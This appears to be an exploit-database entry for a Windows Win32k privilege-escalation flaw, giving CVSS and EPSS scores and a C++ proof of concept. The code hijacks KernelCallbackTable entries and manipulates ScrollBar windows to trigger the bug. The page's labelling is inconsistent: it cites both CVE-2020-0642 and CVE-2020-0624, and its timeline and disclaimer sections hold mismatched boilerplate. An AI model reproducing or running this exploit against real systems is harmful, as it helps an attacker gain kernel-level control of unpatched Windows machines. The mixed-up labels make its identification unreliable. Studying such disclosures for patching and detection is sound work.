7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.001 Low
EPSS
Percentile
36.9%
# Exploit Title: Microsoft Windows - Win32k Elevation of Privilege
# Author: nu11secur1ty
# Date: 08.03.2020
# Exploit Date: 01/14/2020
# Vendor: Microsoft
# Software Link: https://support.microsoft.com/en-us/help/3095649/win32k-sys-update-in-windows-october-2015
# Exploit link: https://github.com/nu11secur1ty/Windows10Exploits/raw/master/Undefined/CVE-2020-0624/win32k/__32-win32k.sys5.1.2600.1330.zip
# CVE: CVE-2020-0642
[+] Credits: Ventsislav Varbanovski (nu11secur1ty)
[+] Source: readme from GitHUB
[Exploit Program Code]
// cve-2020-0624.cpp
#pragma warning(disable: 4005)
#pragma warning(disable: 4054)
#pragma warning(disable: 4152)
#pragma warning(disable: 4201)
#include <Windows.h>
#include "ntos.h"
typedef NTSTATUS(NTAPI* PFNUSER32CALLBACK)(PVOID);
HWND hParent{}, hChild{};
BOOL Flag1{}, Flag2{};
PFNUSER32CALLBACK OrgCCI2{}, OrgCCI3{};
NTSTATUS NTAPI NewCCI2(PVOID Param)
{
if (Flag1)
{
Flag1 = FALSE;
Flag2 = TRUE;
DestroyWindow(hParent);
}
return OrgCCI2(Param);
}
NTSTATUS NTAPI NewCCI3(PVOID Param)
{
if (Flag2)
{
ExitThread(0);
}
return OrgCCI3(Param);
}
int main()
{
DWORD OldProtect{};
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;
PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
return 0;
OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2,
&NewCCI2);
PVOID pCCI3 = &((PVOID*)peb->KernelCallbackTable)[3];
if (!VirtualProtect(pCCI3, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
return 0;
OrgCCI3 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI3,
&NewCCI3);
hParent = CreateWindow(L"ScrollBar", L"Parent", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL);
hChild = CreateWindow(L"ScrollBar", L"Child", WS_OVERLAPPEDWINDOW |
WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, 0, NULL,
NULL);
Flag1 = TRUE;
SendMessage(hChild, WM_LBUTTONDOWN, 0, 0);
return 0;
}
[Vendor]
Microsoft
[Vulnerability Type]
Privilege Escalation
[Description]
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.
- - - more: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0642
[Disclosure Timeline]
An elevation of privilege vulnerability exists in Windows when the
Win32k component fails to properly handle objects in memory. An
attacker who successfully exploited this vulnerability could run
arbitrary code in kernel mode. An attacker could then install
programs; view, change, or delete data; or create new accounts with
full user rights.
To exploit this vulnerability, an attacker would first have to log on
to the system. An attacker could then run a specially crafted
application that could exploit the vulnerability and take control of
an affected system.
The update addresses this vulnerability by correcting how Win32k
handles objects in memory.
[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.8 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.001 Low
EPSS
Percentile
36.9%